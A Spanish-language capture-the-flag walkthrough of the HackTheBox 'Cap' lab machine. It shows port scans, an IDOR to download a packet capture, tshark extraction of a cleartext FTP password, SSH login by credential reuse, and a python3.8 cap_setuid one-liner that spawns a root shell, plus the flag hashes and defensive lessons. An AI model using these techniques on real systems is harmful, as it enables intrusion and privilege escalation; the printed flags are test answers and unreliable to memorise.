| Campo | Valor |
| TARGET IP | 10.129.3.19 |
| DOMAIN | cap.htb |
| OS | Linux |
| SERVICES | 21/FTP · 22/SSH · 80/HTTP |
| DIFFICULTY | Easy |
| TECHNIQUES | IDOR · FTP Credentials in PCAP · Linux Capabilities (cap_setuid) |
| Flag | Hash |
| user.txt | aaf24ac79e5aec40014bc6cc47c80639 |
| root.txt | 43737038fe2d649a4b60fd02cef8449a |
1
| root@cap:~# echo "pwned by Show@Hack4u~" >> /etc/motd
|
RECONOCIMIENTO
Nmap — Full Port Scan
Escaneo completo de puertos con tasa agresiva para descubrir servicios expuestos. Se identificaron tres puertos abiertos: FTP en 21, SSH en 22 y HTTP en 80.
1
2
3
4
5
| $ nmap -p- --open --min-rate 4500 -n -Pn -vvv 10.129.3.19
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
|
Nmap — Service & Script Scan
Detección de versiones y scripts sobre los puertos descubiertos. Se confirma vsftpd 3.0.3 en FTP, OpenSSH 8.2p1 en SSH y Gunicorn sirviendo la web (app Python).
1
2
3
4
5
6
| $ nmap -sCV -p 21,22,80 10.129.3.19
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|
ENUMERACIÓN WEB
Security Dashboard
La aplicación web en el puerto 80 es un Security Dashboard con métricas de seguridad (eventos, intentos de login fallidos, port scans). El nombre de la máquina, “Cap”, actúa como doble hint: capture de paquetes y Linux capabilities.
El dashboard muestra estadísticas en tiempo real: 1560 Security Events, 357 Failed Login Attempts y 27 Port Scans (Unique IPs).
IDOR — Insecure Direct Object Reference
La sección de capturas de red expone una URL del tipo /data/<id>. Modificando el ID a /data/0 se accede a la captura inicial del sistema, lo que constituye un IDOR clásico.
1
2
| http://10.129.3.19/data/1 <- captura del usuario actual
http://10.129.3.19/data/0 <- captura inicial del sistema [IDOR]
|
ANÁLISIS DEL PCAP
El archivo 0.pcap contiene tráfico FTP en texto claro. Con tshark se filtran los comandos FTP y se obtienen las credenciales del usuario nathan.
1
2
3
4
5
6
7
8
| $ tshark -r 0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg
USER nathan
PASS Buck3tH4TF0RM3!
SYST
PORT 192,168,196,1,212,140
LIST
RETR notes.txt
QUIT
|
Credenciales obtenidas: nathan / Buck3tH4TF0RM3!
ACCESO INICIAL
SSH — User Flag
Las credenciales encontradas en el pcap son válidas también para SSH (reutilización de contraseñas).
1
2
3
4
5
| $ ssh nathan@10.129.3.19
nathan@10.129.3.19's password: Buck3tH4TF0RM3!
nathan@cap:~$ cat user.txt
aaf24ac79e5aec40014bc6cc47c80639
|
ESCALADA DE PRIVILEGIOS
Linux Capabilities — cap_setuid en Python
getcap revela que /usr/bin/python3.8 tiene asignada la capability cap_setuid+eip.
1
2
3
| nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
|
Explotación — os.setuid(0)
1
2
3
4
| nathan@cap:~$ python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"
root@cap:~# cat /root/root.txt
43737038fe2d649a4b60fd02cef8449a
|
cap_setuid permite modificar el UID del proceso. Al combinarlo con os.system() se obtiene una shell hija que hereda UID=0.
KILL CHAIN COMPLETA
| Step | Fase | Detalle |
| 01 | RECON | nmap -p- descubre FTP/21, SSH/22, HTTP/80. |
| 02 | WEB ENUM | Security Dashboard en /data/. IDOR cambiando el ID a 0. |
| 03 | PCAP | tshark extrae credenciales FTP en claro: nathan / Buck3tH4TF0RM3! |
| 04 | FOOTHOLD | Reutilización de credenciales. ssh nathan@target → user.txt. |
| 05 | PRIVESC | cap_setuid en python3.8. os.setuid(0) + os.system("/bin/bash") → root. |
LECCIONES APRENDIDAS
| Concepto | Detalle |
| IDOR | Nunca confiar en IDs secuenciales del lado del cliente. Controles de acceso por objeto en el servidor. |
| FTP CLEARTEXT | FTP transmite credenciales en texto plano. Usar SFTP o FTPS. |
| REUTILIZACIÓN | Contraseñas únicas por servicio. |
| CAPABILITIES | cap_setuid en intérpretes es equivalente a SUID root. Auditar con getcap -r /. |
| NOMBRE = HINT | “Cap” → pcap + capabilities. |
1
| root@cap:~# exit // Show@Hack4u~ — HackTheBox Season I
|
GREETINGS
Hack4u — La comunidad que construiste es el mejor sitio para aprender hacking de verdad.
See you again — Show~
1
| root@htb:~# echo "gg" && exit
|